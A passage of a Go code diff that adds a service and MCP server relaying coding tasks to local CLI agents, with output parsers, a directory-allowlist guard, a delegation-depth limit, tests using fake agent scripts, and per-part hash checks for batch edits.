maxRunnerStdout} + stderr := &tailBuffer{max: maxRunnerStderr} + cmd.Stdout, cmd.Stderr = stdout, stderr + // Stdin stays nil, the null device: a runner that waits for input fails + // instead of hanging. WaitDelay stops a grandchild that keeps the output + // pipes open from holding the call past the timeout. + cmd.WaitDelay = 10 * time.Second + runErr := cmd.Run() + + var res runnerResult + switch runner.Name { + case "claude": + res = parseClaudeOutput(stdout.Bytes()) + case "codex": + var last []byte + if data, err := s.rt.ReadFile(lastMessage); err == nil { + last = data + } + res = parseCodexOutput(stdout.Bytes(), last) + case "opencode": + res = parseOpencodeOutput(stdout.Bytes()) + case "pi": + res = parsePiOutput(stdout.Bytes()) + } + out := RunnerOutput{Runner: runner.Name, Session: res.Session, Reply: res.Reply, IsError: res.IsError} + if out.Session == "" { + out.Session = in.Session + } + if runErr != nil { + out.IsError = true + reason := runErr.Error() + if errors.Is(ctx.Err(), context.DeadlineExceeded) { + reason = fmt.Sprintf("timed out after %s", s.Timeout) + } + msg := fmt.Sprintf("%s failed: %s", runner.Title, reason) + if tail := strings.TrimSpace(stderr.String()); tail != "" { + msg += "\n\nstderr:\n" + tail + } + if out.Reply != "" { + msg = out.Reply + "\n\n" + msg + } + out.Reply = msg + } else if out.Reply == "" && out.IsError { + if tail := strings.TrimSpace(stderr.String()); tail != "" { + out.Reply = tail + } + } + out.Reply = truncateReply(out.Reply) + return out, nil +} + +// checkCwd validates a task's directory and returns the host path to run in: +// absolute, an existing directory, and, with symlinks resolved, under one of +// the allowed roots. +func (s *RunnerService) checkCwd(cwd string) (string, error) { + if strings.TrimSpace(cwd) == "" { + return "", errors.New("cwd is required") + } + if !filepath.IsAbs(cwd) { + return "", fmt.Errorf("cwd %q must be an absolute path", cwd) + } + resolved, err := s.rt.ResolvePath(filepath.Clean(cwd), true) + if errors.Is(err, fs.ErrNotExist) { + return "", fmt.Errorf("cwd %q does not exist", cwd) + } + if err != nil { + return "", fmt.Errorf("cwd %q cannot be resolved", cwd) + } + info, err := s.rt.Stat(resolved, true) + if err != nil { + return "", fmt.Errorf("cwd %q does not exist", cwd) + } + if !info.IsDir() { + return "", fmt.Errorf("cwd %q is not a directory", cwd) + } + allowed := false + for _, root := range s.Roots { + r, err := s.rt.ResolvePath(filepath.Clean(root), true) + if err != nil { + continue + } + if pathWithin(r, resolved) { + allowed = true + break + } + } + if !allowed { + return "", fmt.Errorf("cwd %q is outside the allowed roots (%s)", cwd, strings.Join(s.Roots, string(filepath.ListSeparator))) + } + return s.rt.HostPath(resolved) +} + +// pathWithin reports whether path is root or below it. Both are clean and +// absolute. +func pathWithin(root, path string) bool { + rel, err := filepath.Rel(root, path) + if err != nil { + return false + } + return rel == "." || (rel != ".." && !strings.HasPrefix(rel, ".."+string(filepath.Separator))) +} + +// runnerArgs is the command line for one task, options before the task. +func runnerArgs(name string, in RunnerInput, lastMessage string) []string { + switch name { + case "claude": + args := []string{"-p", "--output-format", "json"} + if in.Session != "" { + args = append(args, "--resume", in.Session) + } + if in.Model != "" { + args = append(args, "--model", in.Model) + } + return append(args, in.Task) + case "codex": + // Exec options go before the resume subcommand, where every codex + // version accepts them. + args := []string{"exec", "--json", "--skip-git-repo-check", "-o", lastMessage} + if in.Model != "" { + args = append(args, "-m", in.Model) + } + if in.Session != "" { + args = append(args, "resume", in.Session) + } + return append(args, in.Task) + case "opencode": + args := []string{"run", "--format", "json"} + if in.Session != "" { + args = append(args, "-s", in.Session) + } + if in.Model != "" { + args = append(args, "-m", in.Model) + } + return append(args, in.Task) + case "pi": + args := []string{"--mode", "json"} + if in.Session != "" { + args = append(args, "--session-id", in.Session) + } + if in.Model != "" { + args = append(args, "--model", in.Model) + } + return append(args, in.Task) + } + return nil +} + +// runnerResult is what a runner's output says. +type runnerResult struct { + Session string + Reply string + IsError bool +} + +// parseClaudeOutput reads `claude -p --output-format json`: one result object +// ({"type":"result","session_id":...,"result":...,"is_error":...}), or, with +// --verbose, an array of messages ending in one. +func parseClaudeOutput(stdout []byte) runnerResult { + type result struct { + Type string `json:"type"` + SessionID string `json:"session_id"` + Result string `json:"result"` + IsError bool `json:"is_error"` + } + trimmed := bytes.TrimSpace(stdout) + var one result + if err := json.Unmarshal(trimmed, &one); err == nil && (one.SessionID != "" || one.Result != "") { + return runnerResult{Session: one.SessionID, Reply: one.Result, IsError: one.IsError} + } + var many []result + if err := json.Unmarshal(trimmed, &many); err == nil { + for i := len(many) - 1; i >= 0; i-- { + if many[i].Type == "result" { + return runnerResult{Session: many[i].SessionID, Reply: many[i].Result, IsError: many[i].IsError} + } + } + } + // Some builds stream one object per line; the last result wins. + var out runnerResult + found := false + eachJSONLine(stdout, func(line []byte) { + var r result + if json.Unmarshal(line, &r) != nil { + return + } + if out.Session == "" && r.SessionID != "" { + out.Session = r.SessionID + } + if r.Type == "result" { + out.Reply, out.IsError, found = r.Result, r.IsError, true + if r.SessionID != "" { + out.Session = r.SessionID + } + } + }) + if !found { + out.IsError = true + out.Reply = "Claude Code returned no result" + } + return out +} + +// parseCodexOutput reads `codex exec --json` events and the file -o wrote. +// The thread id comes from {"type":"thread.started","thread_id":...}; the +// reply is the -o file, else the last completed agent_message item. +func parseCodexOutput(stdout, lastMessage []byte) runnerResult { + var out runnerResult + var lastAgent, failure string + eachJSONLine(stdout, func(line []byte) { + var ev struct { + Type string `json:"type"` + ThreadID string `json:"thread_id"` + Message string `json:"message"` + Error *struct { + Message string `json:"message"` + } `json:"error"` + Item *struct { + Type string `json:"type"` + Text string `json:"text"` + } `json:"item"` + } + if json.Unmarshal(line, &ev) != nil { + return + } + switch ev.Type { + case "thread.started": + if out.Session == "" { + out.Session = ev.ThreadID + } + case "item.completed": + if ev.Item != nil && ev.Item.Type == "agent_message" && ev.Item.Text != "" { + lastAgent = ev.Item.Text + } + case "turn.failed": + if ev.Error != nil { + failure = ev.Error.Message + } + out.IsError = true + case "error": + if failure == "" { + failure = ev.Message + } + out.IsError = true + } + }) + out.Reply = strings.TrimSpace(string(lastMessage)) + if out.Reply == "" { + out.Reply = lastAgent + } + if out.IsError && failure != "" { + if out.Reply != "" { + out.Reply += "\n\n" + } + out.Reply += "Codex error: " + failure + } + return out +} + +// parseOpencodeOutput reads `opencode run --format json` events. Every event +// carries the session id as "sessionID"; the reply is the text parts, in +// order. +func parseOpencodeOutput(stdout []byte) runnerResult { + var out runnerResult + var parts []string + eachJSONLine(stdout, func(line []byte) { + var ev struct { + Type string `json:"type"` + SessionID string `json:"sessionID"` + Error json.RawMessage `json:"error"` + Part *struct { + Type string `json:"type"` + Text string `json:"text"` + } `json:"part"` + } + if json.Unmarshal(line, &ev) != nil { + return + } + if out.Session == "" && ev.SessionID != "" { + out.Session = ev.SessionID + } + switch ev.Type { + case "text": + if ev.Part != nil && strings.TrimSpace(ev.Part.Text) != "" { + parts = append(parts, ev.Part.Text) + } + case "error": + out.IsError = true + if msg := jsonErrorMessage(ev.Error); msg != "" { + parts = append(parts, "opencode error: "+msg) + } + } + }) + out.Reply = strings.Join(parts, "\n\n") + return out +} + +// parsePiOutput reads `pi --mode json` records. The first is +// {"type":"session","id":...}; the reply is the text of the last assistant +// message, found in any record's "message" or "messages". +func parsePiOutput(stdout []byte) runnerResult { + type message struct { + Role string `json:"role"` + Content json.RawMessage `json:"content"` + StopReason string `json:"stopReason"` + ErrorMessage string `json:"errorMessage"` + } + var out runnerResult + consider := func(m *message) { + if m == nil || m.Role != "assistant" { + return + } + if text := messageText(m.Content); text != "" { + out.Reply = text + out.IsError = false + } + if m.StopReason == "error" || m.StopReason == "aborted" { + out.IsError = true + if m.ErrorMessage != "" { + out.Reply = strings.TrimSpace(out.Reply + "\n\npi error: " + m.ErrorMessage) + } + } + } + eachJSONLine(stdout, func(line []byte) { + var rec struct { + Type string `json:"type"` + ID string `json:"id"` + Message *message `json:"message"` + Messages []message `json:"messages"` + } + if json.Unmarshal(line, &rec) != nil { + return + } + if rec.Type == "session" && out.Session == "" { + out.Session = rec.ID + } + consider(rec.Message) + for i := range rec.Messages { + consider(&rec.Messages[i]) + } + }) + return out +} + +// messageText is the text of a message's content: a plain string, or the +// "text" blocks of a content array. +func messageText(raw json.RawMessage) string { + if len(raw) == 0 { + return "" + } + var s string + if json.Unmarshal(raw, &s) == nil { + return strings.TrimSpace(s) + } + var blocks []struct { + Type string `json:"type"` + Text string `json:"text"` + } + if json.Unmarshal(raw, &blocks) != nil { + return "" + } + var parts []string + for _, b := range blocks { + if b.Type == "text" && strings.TrimSpace(b.Text) != "" { + parts = append(parts, b.Text) + } + } + return strings.TrimSpace(strings.Join(parts, "\n")) +} + +// jsonErrorMessage reads an error that is a string or an object with a +// message (possibly under "data"). +func jsonErrorMessage(raw json.RawMessage) string { + if len(raw) == 0 { + return "" + } + var s string + if json.Unmarshal(raw, &s) == nil { + return s + } + var obj struct { + Message string `json:"message"` + Name string `json:"name"` + Data struct { + Message string `json:"message"` + } `json:"data"` + } + if json.Unmarshal(raw, &obj) != nil { + return "" + } + switch { + case obj.Data.Message != "": + return obj.Data.Message + case obj.Message != "": + return obj.Message + } + return obj.Name +} + +// eachJSONLine calls fn with every line of stdout that looks like a JSON +// object, skipping anything else a runner prints. +func eachJSONLine(stdout []byte, fn func([]byte)) { + sc := bufio.NewScanner(bytes.NewReader(stdout)) + sc.Buffer(make([]byte, 0, 64<<10), maxRunnerStdout) + for sc.Scan() { + line := bytes.TrimSpace(sc.Bytes()) + if len(line) > 0 && line[0] == '{' { + fn(line) + } + } +} + +// truncateReply keeps a reply under maxRunnerReply, cutting on a rune +// boundary. +func truncateReply(s string) string { + if len(s) <= maxRunnerReply { + return s + } + const note = "\n\n[reply truncated]" + cut := maxRunnerReply - len(note) + for cut > 0 && !utf8.RuneStart(s[cut]) { + cut-- + } + return s[:cut] + note +} + +func randomHex(n int) string { + b := make([]byte, n) + _, _ = rand.Read(b) + return hex.EncodeToString(b) +} + +// headBuffer keeps the first max bytes written to it and discards the rest. +type headBuffer struct { + buf bytes.Buffer + max int +} + +func (b *headBuffer) Write(p []byte) (int, error) { + if room := b.max - b.buf.Len(); room > 0 { + if len(p) > room { + b.buf.Write(p[:room]) + } else { + b.buf.Write(p) + } + } + return len(p), nil +} + +func (b *headBuffer) Bytes() []byte { return b.buf.Bytes() } + +// tailBuffer keeps the last max bytes written to it. +type tailBuffer struct { + buf []byte + max int +} + +func (b *tailBuffer) Write(p []byte) (int, error) { + b.buf = append(b.buf, p...) + if over := len(b.buf) - b.max; over > 0 { + b.buf = append(b.buf[:0], b.buf[over:]...) + } + return len(p), nil +} + +func (b *tailBuffer) String() string { return string(b.buf) } diff --git a/pkg/tapper/runner_mcp.go b/pkg/tapper/runner_mcp.go new file mode 100644 index 0000000..c8119e8 --- /dev/null +++ b/pkg/tapper/runner_mcp.go @@ -0,0 +1,47 @@ +package tapper + +import ( + "context" + "fmt" + + sdkmcp "github.com/modelcontextprotocol/go-sdk/mcp" +) + +// NewRunnerMCPServer returns the `tap runner serve` MCP server: one tool per +// installed runner. +func NewRunnerMCPServer(svc *RunnerService, version string) *sdkmcp.Server { + srv := sdkmcp.NewServer(&sdkmcp.Implementation{Name: "tap-runner", Title: "Coding runners", Version: version}, nil) + for _, runner := range svc.Installed { + registerRunnerTool(srv, svc, runner) + } + return srv +} + +func registerRunnerTool(srv *sdkmcp.Server, svc *RunnerService, runner InstalledRunner) { + name, openWorld := runner.Name, true + sdkmcp.AddTool(srv, &sdkmcp.Tool{ + Name: runner.Tool, + Title: "Run " + runner.Title, + Description: fmt.Sprintf("Hand a coding task to %s on this machine and return its final reply. "+ + "It works in cwd, which must be under the relay's allowed roots, and runs non-interactively for up to %s. "+ + "Pass the session id from a result to continue that conversation. %s", + runner.Title, svc.Timeout, runner.Permissions), + // A runner may edit files and reach the network, so the tool is + // neither read-only nor closed-world; DestructiveHint is left at its + // default (true) for the same reason. + Annotations: &sdkmcp.ToolAnnotations{OpenWorldHint: &openWorld}, + }, func(ctx context.Context, _ *sdkmcp.CallToolRequest, in RunnerInput) (*sdkmcp.CallToolResult, RunnerOutput, error) { + out, err := svc.Run(ctx, name, in) + if err != nil { + return nil, RunnerOutput{}, err + } + text := out.Reply + if out.Session != "" { + text = fmt.Sprintf("[%s session %s; pass it as session to continue]\n\n%s", out.Runner, out.Session, out.Reply) + } + return &sdkmcp.CallToolResult{ + IsError: out.IsError, + Content: []sdkmcp.Content{&sdkmcp.TextContent{Text: text}}, + }, out, nil + }) +} diff --git a/pkg/tapper/runner_test.go b/pkg/tapper/runner_test.go new file mode 100644 index 0000000..0be97bb --- /dev/null +++ b/pkg/tapper/runner_test.go @@ -0,0 +1,326 @@ +package tapper + +import ( + "context" + "encoding/json" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/jlrickert/cli-toolkit/sandbox" + sdkmcp "github.com/modelcontextprotocol/go-sdk/mcp" + "github.com/stretchr/testify/require" +) + +func TestParseClaudeOutput(t *testing.T) { + t.Parallel() + got := parseClaudeOutput([]byte(`{"type":"result","subtype":"success","is_error":false,"duration_ms":2840,"duration_api_ms":2500,"num_turns":1,"result":"The tests pass.","session_id":"5a3c1d9e-2f4b-4c8a-9e1d-7b6f0a2c3d4e","total_cost_usd":0.0123,"usage":{"input_tokens":4,"output_tokens":12}}` + "\n")) + require.Equal(t, runnerResult{Session: "5a3c1d9e-2f4b-4c8a-9e1d-7b6f0a2c3d4e", Reply: "The tests pass."}, got) + + got = parseClaudeOutput([]byte(`{"type":"result","subtype":"error_max_turns","is_error":true,"result":"Reached max turns","session_id":"s-2"}`)) + require.True(t, got.IsError) + require.Equal(t, "s-2", got.Session) + + got = parseClaudeOutput([]byte(`[{"type":"system","subtype":"init","session_id":"s-3"},{"type":"assistant","session_id":"s-3"},{"type":"result","is_error":false,"result":"Done.","session_id":"s-3"}]`)) + require.Equal(t, runnerResult{Session: "s-3", Reply: "Done."}, got, "--verbose prints an array") + + got = parseClaudeOutput([]byte("Error: not logged in\n")) + require.True(t, got.IsError) +} + +func TestParseCodexOutput(t *testing.T) { + t.Parallel() + stdout := []byte(`{"type":"thread.started","thread_id":"0199a213-81c0-7800-8aa1-bbab2a035a53"} +{"type":"turn.started"} +{"type":"item.completed","item":{"id":"item_0","type":"reasoning","text":"**Looking at the tests**"}} +{"type":"item.started","item":{"id":"item_1","type":"command_execution","command":"bash -lc ls","aggregated_output":"","exit_code":null,"status":"in_progress"}} +{"type":"item.completed","item":{"id":"item_1","type":"command_execution","command":"bash -lc ls","aggregated_output":"go.mod\n","exit_code":0,"status":"completed"}} +{"type":"item.completed","item":{"id":"item_2","type":"agent_message","text":"The repo has a go.mod."}} +{"type":"turn.completed","usage":{"input_tokens":24763,"cached_input_tokens":24448,"output_tokens":122}} +`) + got := parseCodexOutput(stdout, nil) + require.Equal(t, runnerResult{Session: "0199a213-81c0-7800-8aa1-bbab2a035a53", Reply: "The repo has a go.mod."}, got, + "without the -o file, the last agent message") + + got = parseCodexOutput(stdout, []byte("Final answer from -o.\n")) + require.Equal(t, "Final answer from -o.", got.Reply, "the -o file wins") + + got = parseCodexOutput([]byte(`{"type":"thread.started","thread_id":"t-1"} +{"type":"turn.started"} +{"type":"error","message":"stream disconnected before completion"} +{"type":"turn.failed","error":{"message":"stream disconnected before completion"}} +`), nil) + require.True(t, got.IsError) + require.Equal(t, "t-1", got.Session) + require.Contains(t, got.Reply, "stream disconnected") +} + +func TestParseOpencodeOutput(t *testing.T) { + t.Parallel() + got := parseOpencodeOutput([]byte(`{"type":"step_start","timestamp":1758000000000,"sessionID":"ses_6a1b2c3d4e5fXyZ","part":{"id":"prt_1","sessionID":"ses_6a1b2c3d4e5fXyZ","messageID":"msg_1","type":"step-start"}} +{"type":"tool_use","timestamp":1758000000100,"sessionID":"ses_6a1b2c3d4e5fXyZ","part":{"id":"prt_2","type":"tool","tool":"read","state":{"status":"completed"}}} +{"type":"text","timestamp":1758000000200,"sessionID":"ses_6a1b2c3d4e5fXyZ","part":{"id":"prt_3","type":"text","text":"First part.","time":{"start":1,"end":2}}} +{"type":"step_finish","timestamp":1758000000300,"sessionID":"ses_6a1b2c3d4e5fXyZ","part":{"id":"prt_4","type":"step-finish","reason":"tool-calls"}} +{"type":"text","timestamp":1758000000400,"sessionID":"ses_6a1b2c3d4e5fXyZ","part":{"id":"prt_5","type":"text","text":"Second part."}} +`)) + require.Equal(t, runnerResult{Session: "ses_6a1b2c3d4e5fXyZ", Reply: "First part.\n\nSecond part."}, got) + + got = parseOpencodeOutput([]byte(`{"type":"error","timestamp":1,"sessionID":"ses_x","error":{"name":"ProviderAuthError","data":{"message":"no API key"}}}`)) + require.True(t, got.IsError) + require.Equal(t, "ses_x", got.Session) + require.Contains(t, got.Reply, "no API key") +} + +func TestParsePiOutput(t *testing.T) { + t.Parallel() + got := parsePiOutput([]byte(`{"type":"session","version":3,"id":"7f0e3c2a-1b4d-4e5f-8a9b-0c1d2e3f4a5b","timestamp":"2026-10-04T12:00:00.000Z","cwd":"/home/me/proj"} +{"type":"agent_start"} +{"type":"message_start","message":{"role":"user","content":[{"type":"text","text":"Fix it"}],"timestamp":1}} +{"type":"message_end","message":{"role":"user","content":[{"type":"text","text":"Fix it"}],"timestamp":1}} +{"type":"message_update","message":{"role":"assistant","content":[{"type":"text","text":"Work"}]},"assistantMessageEvent":{"type":"text_delta","delta":"Work"}} +{"type":"message_end","message":{"role":"assistant","content":[{"type":"thinking","thinking":"hmm"},{"type":"text","text":"Working on it."}],"stopReason":"toolUse"}} +{"type":"message_end","message":{"role":"toolResult","toolName":"bash","content":[{"type":"text","text":"ok"}]}} +{"type":"message_end","message":{"role":"assistant","content":[{"type":"text","text":"Fixed."}],"stopReason":"stop"}} +{"type":"agent_end","messages":[{"role":"user","content":"Fix it"},{"role":"assistant","content":[{"type":"text","text":"Fixed."}],"stopReason":"stop"}]} +`)) + require.Equal(t, runnerResult{Session: "7f0e3c2a-1b4d-4e5f-8a9b-0c1d2e3f4a5b", Reply: "Fixed."}, got) + + got = parsePiOutput([]byte(`{"type":"session","id":"s"} +{"type":"message_end","message":{"role":"assistant","content":[],"stopReason":"error","errorMessage":"401 unauthorized"}} +`)) + require.True(t, got.IsError) + require.Contains(t, got.Reply, "401 unauthorized") +} + +func TestRunnerArgs(t *testing.T) { + t.Parallel() + in := RunnerInput{Task: "fix it", Session: "S", Model: "M"} + require.Equal(t, []string{"-p", "--output-format", "json", "--resume", "S", "--model", "M", "fix it"}, runnerArgs("claude", in, "")) + require.Equal(t, []string{"exec", "--json", "--skip-git-repo-check", "-o", "/tmp/o", "-m", "M", "resume", "S", "fix it"}, runnerArgs("codex", in, "/tmp/o")) + require.Equal(t, []string{"exec", "--json", "--skip-git-repo-check", "-o", "/tmp/o", "fix it"}, runnerArgs("codex", RunnerInput{Task: "fix it"}, "/tmp/o")) + require.Equal(t, []string{"run", "--format", "json", "-s", "S", "-m", "M", "fix it"}, runnerArgs("opencode", in, "")) + require.Equal(t, []string{"--mode", "json", "--session-id", "S", "--model", "M", "fix it"}, runnerArgs("pi", in, "")) +} + +func TestTruncateReply(t *testing.T) { + t.Parallel() + long := strings.Repeat("é", maxRunnerReply) + got := truncateReply(long) + require.LessOrEqual(t, len(got), maxRunnerReply) + require.True(t, strings.HasSuffix(got, "[reply truncated]")) + require.Equal(t, "short", truncateReply("short")) +} + +// writeScript writes an executable shell script named name into dir. +func writeScript(t *testing.T, dir, name, body string) { + t.Helper() + require.NoError(t, os.WriteFile(filepath.Join(dir, name), []byte("#!/bin/sh\n"+body), 0o755)) +} + +// fakeClaude records its arguments, working directory and delegation +// variables, then prints a Claude Code result. +const fakeClaude = `printf '%s\n' "$@" > args.txt +echo "$TAP_RUNNER_DEPTH $TAP_RELAY_TOOLS" > env.txt +echo '{"type":"result","subtype":"success","is_error":false,"result":"All green.","session_id":"sess-claude-1"}' +` + +// fakeCodex writes its last message to the -o file, as codex exec does. +const fakeCodex = `out="" +prev="" +for a in "$@"; do + if [ "$prev" = "-o" ]; then out="$a"; fi + prev="$a" +done +printf '%s\n' "$@" > args.txt +echo '{"type":"thread.started","thread_id":"thread-9"}' +echo '{"type":"item.completed","item":{"id":"item_0","type":"agent_message","text":"from stream"}}' +printf 'Codex fixed it.' > "$out" +` + +func newRunnerSandbox(t *testing.T, env map[string]string) (*sandbox.Sandbox, string) { + t.Helper() + bin := t.TempDir() + writeScript(t, bin, "claude", fakeClaude) + writeScript(t, bin, "codex", fakeCodex) + writeScript(t, bin, "failing", "exit 1\n") + sb := sandbox.NewSandbox(t, &sandbox.Options{Home: "/home/testuser", User: "testuser"}) + rt := sb.Runtime() + require.NoError(t, rt.Set("PATH", bin)) + for k, v := range env { + require.NoError(t, rt.Set(k, v)) + } + require.NoError(t, rt.Mkdir("/home/testuser/proj", 0o755, true)) + require.NoError(t, rt.Mkdir("/srv/other", 0o755, true)) + require.NoError(t, rt.WriteFile("/home/testuser/file.txt", []byte("x"), 0o644)) + return sb, bin +} + +func TestRunnerServiceSettings(t *testing.T) { + t.Parallel() + sb, _ := newRunnerSandbox(t, map[string]string{RunnerRootsEnv: "/srv" + string(filepath.ListSeparator) + "/home/testuser/proj", RunnerTimeoutEnv: "5m"}) + svc, err := NewRunnerService(sb.Runtime()) + require.NoError(t, err) + require.Equal(t, []string{"/srv", "/home/testuser/proj"}, svc.Roots) + require.Equal(t, "5m0s", svc.Timeout.String()) + names := []string{} + for _, r := range svc.Installed { + names = append(names, r.Tool) + } + require.Equal(t, []string{"claude_code_run", "codex_run"}, names, "only runners on PATH") + + sb2, _ := newRunnerSandbox(t, map[string]string{RunnerTimeoutEnv: "soon"}) + _, err = NewRunnerService(sb2.Runtime()) + require.ErrorContains(t, err, RunnerTimeoutEnv) + + sb3, _ := newRunnerSandbox(t, nil) + svc, err = NewRunnerService(sb3.Runtime()) + require.NoError(t, err) + require.Equal(t, []string{"/home/testuser"}, svc.Roots, "home is the default root") +} + +// --runner narrows a server to one harness: it serves that tool alone and +// refuses the others. +func TestRunnerServiceOnly(t *testing.T) { + t.Parallel() + sb, _ := newRunnerSandbox(t, nil) + svc, err := NewRunnerService(sb.Runtime()) + require.NoError(t, err) + require.ErrorContains(t, svc.Only("emacs"), "unknown runner") + require.ErrorContains(t, svc.Only("pi"), "not installed") + require.NoError(t, svc.Only("codex")) + require.Len(t, svc.Installed, 1) + require.Equal(t, "codex_run", svc.Installed[0].Tool) + _, err = svc.Run(context.Background(), "claude", RunnerInput{Task: "x", Cwd: "/home/testuser/proj"}) + require.ErrorContains(t, err, "not installed", "a narrowed server refuses the other harnesses") +} + +func TestRunnerCwdGuard(t *testing.T) { + t.Parallel() + sb, _ := newRunnerSandbox(t, nil) + svc, err := NewRunnerService(sb.Runtime()) + require.NoError(t, err) + require.NoError(t, sb.Runtime().Symlink("/srv/other", "/home/testuser/escape")) + + for cwd, want := range map[string]string{ + "": "cwd is required", + "proj": "must be an absolute path", + "/home/testuser/missing": "does not exist", + "/home/testuser/file.txt": "not a directory", + "/srv/other": "outside the allowed roots", + "/home/testuser/escape": "outside the allowed roots", + "/home/testuserx": "does not exist", + } { + _, err := svc.checkCwd(cwd) + require.ErrorContains(t, err, want, "cwd %q", cwd) + } + dir, err := svc.checkCwd("/home/testuser/proj/../proj") + require.NoError(t, err) + host, err := sb.Runtime().HostPath("/home/testuser/proj") + require.NoError(t, err) + require.Equal(t, host, dir) + + require.True(t, pathWithin("/a/b", "/a/b")) + require.True(t, pathWithin("/a/b", "/a/b/c")) + require.False(t, pathWithin("/a/b", "/a/bc")) + require.False(t, pathWithin("/a/b", "/a")) +} + +func TestRunnerRefusesWhenDelegated(t *testing.T) { + t.Parallel() + sb, _ := newRunnerSandbox(t, map[string]string{RunnerDepthEnv: "1"}) + svc, err := NewRunnerService(sb.Runtime()) + require.NoError(t, err) + _, err = svc.Run(context.Background(), "claude", RunnerInput{Task: "x", Cwd: "/home/testuser/proj"}) + require.ErrorContains(t, err, "cannot delegate again") + + _, err = sb.Runtime().ReadFile("/home/testuser/proj/args.txt") + require.Error(t, err, "the runner never started") +} + +func TestRunnerFailureIsAnErrorResult(t *testing.T) { + t.Parallel() + sb, bin := newRunnerSandbox(t, nil) + writeScript(t, bin, "claude", "echo 'boom: not logged in' >&2\nexit 3\n") + svc, err := NewRunnerService(sb.Runtime()) + require.NoError(t, err) + out, err := svc.Run(context.Background(), "claude", RunnerInput{Task: "x", Cwd: "/home/testuser/proj", Session: "keep"}) + require.NoError(t, err) + require.True(t, out.IsError) + require.Equal(t, "keep", out.Session, "the caller's session survives a failed run") + require.Contains(t, out.Reply, "exit status 3") + require.Contains(t, out.Reply, "boom: not logged in") + + _, err = svc.Run(context.Background(), "pi", RunnerInput{Task: "x", Cwd: "/home/testuser/proj"}) + require.ErrorContains(t, err, "not installed") +} + +// The runner tools work end to end through the MCP server: the call reaches +// the runner in the requested directory, with delegation turned off for it, +// and its reply and session come back. +func TestRunnerMCPServer(t *testing.T) { + t.Parallel() + sb, _ := newRunnerSandbox(t, nil) + svc, err := NewRunnerService(sb.Runtime()) + require.NoError(t, err) + srv := NewRunnerMCPServer(svc, "test") + + ctx := context.Background() + serverT, clientT := sdkmcp.NewInMemoryTransports() + ss, err := srv.Connect(ctx, serverT, nil) + require.NoError(t, err) + t.Cleanup(func() { _ = ss.Close() }) + cs, err := sdkmcp.NewClient(&sdkmcp.Implementation{Name: "test"}, nil).Connect(ctx, clientT, nil) + require.NoError(t, err) + t.Cleanup(func() { _ = cs.Close() }) + + tools, err := cs.ListTools(ctx, nil) + require.NoError(t, err) + names := []string{} + for _, tool := range tools.Tools { + names = append(names, tool.Name) + require.NotNil(t, tool.OutputSchema) + require.False(t, tool.Annotations.ReadOnlyHint) + require.True(t, *tool.Annotations.OpenWorldHint) + } + require.Equal(t, []string{"claude_code_run", "codex_run"}, names) + + res, err := cs.CallTool(ctx, &sdkmcp.CallToolParams{Name: "claude_code_run", Arguments: map[string]any{ + "task": "run the tests", "cwd": "/home/testuser/proj", "model": "sonnet", + }}) + require.NoError(t, err) + require.False(t, res.IsError) + text := res.Content[0].(*sdkmcp.TextContent).Text + require.Contains(t, text, "sess-claude-1") + require.True(t, strings.HasSuffix(text, "All green.")) + var out RunnerOutput + raw, _ := json.Marshal(res.StructuredContent) + require.NoError(t, json.Unmarshal(raw, &out)) + require.Equal(t, RunnerOutput{Runner: "claude", Session: "sess-claude-1", Reply: "All green."}, out) + args, err := sb.Runtime().ReadFile("/home/testuser/proj/args.txt") + require.NoError(t, err, "the runner ran in cwd") + require.Equal(t, "-p\n--output-format\njson\n--model\nsonnet\nrun the tests\n", string(args)) + env, err := sb.Runtime().ReadFile("/home/testuser/proj/env.txt") + require.NoError(t, err) + require.Equal(t, "1 off\n", string(env), "the runner is marked delegated and kept off relayed tools") + + res, err = cs.CallTool(ctx, &sdkmcp.CallToolParams{Name: "codex_run", Arguments: map[string]any{ + "task": "fix it", "cwd": "/home/testuser/proj", "session": "thread-9", + }}) + require.NoError(t, err) + require.False(t, res.IsError) + raw, _ = json.Marshal(res.StructuredContent) + out = RunnerOutput{} + require.NoError(t, json.Unmarshal(raw, &out)) + require.Equal(t, RunnerOutput{Runner: "codex", Session: "thread-9", Reply: "Codex fixed it."}, out) + args, err = sb.Runtime().ReadFile("/home/testuser/proj/args.txt") + require.NoError(t, err) + require.Contains(t, string(args), "resume\nthread-9\nfix it\n") + + res, err = cs.CallTool(ctx, &sdkmcp.CallToolParams{Name: "codex_run", Arguments: map[string]any{ + "task": "fix it", "cwd": "/srv/other", + }}) + require.NoError(t, err) + require.True(t, res.IsError, "a refused cwd is a tool error") + require.Contains(t, res.Content[0].(*sdkmcp.TextContent).Text, "outside the allowed roots") +} diff --git a/pkg/tapper/tap_batch.go b/pkg/tapper/tap_batch.go index f8cfe9c..58fe1fd 100644 --- a/pkg/tapper/tap_batch.go +++ b/pkg/tapper/tap_batch.go @@ -37,13 +37,21 @@ func (t *Tap) CreateBatch(ctx context.Context, opts BatchCreateOptions) ([]keg.C } type BatchEditItem struct { - NodeID string - Schema string - Content string - HasContent bool - Meta string - HasMeta bool + NodeID string + Schema string + Content string + HasContent bool + Meta string + HasMeta bool + // ExpectedHash is the combined content+metadata token (node_read's + // hash). It is used only when neither part token is set; the CLI and + // other single-token callers rely on it. ExpectedHash string + // ExpectedContentHash and ExpectedMetaHash are the per-part tokens + // (node_read's content_hash and meta_hash). When either is set, each + // supplied part must carry its own token and ExpectedHash is ignored. + ExpectedContentHash string + ExpectedMetaHash string } type BatchEditOptions struct { KegTargetOptions @@ -65,7 +73,16 @@ func (t *Tap) EditBatch(ctx context.Context, opts BatchEditOptions) ([]keg.NodeU if !item.HasContent && !item.HasMeta { return nil, fmt.Errorf("edit %d node %q: content or meta is required: %w", i, item.NodeID, keg.ErrInvalid) } - update := keg.NodeUpdateOptions{ID: *id, Schema: item.Schema, ExpectedHash: item.ExpectedHash} + if err := requireEditPartHashes(i, item); err != nil { + return nil, err + } + update := keg.NodeUpdateOptions{ + ID: *id, + Schema: item.Schema, + ExpectedHash: item.ExpectedHash, + ExpectedContentHash: item.ExpectedContentHash, + ExpectedMetaHash: item.ExpectedMetaHash, + } if item.HasContent { if err := keg.RejectFrontmatter([]byte(item.Content)); err != nil { return nil, fmt.Errorf("edit %d node %q: %w", i, item.NodeID, err) @@ -108,3 +125,21 @@ func (t *Tap) NodeSnapshotBatch(ctx context.Context, opts BatchSnapshotOptions) } return k.AppendSnapshots(ctx, nodes) } + +// requireEditPartHashes rejects an edit that supplies a part without that +// part's token. It applies whenever the caller holds no combined ExpectedHash +// (node_edit never sends one), so an unguarded part can never fall through to +// the keg layer's combined-hash path. It runs after keg resolution so +// authorization failures still surface first. +func 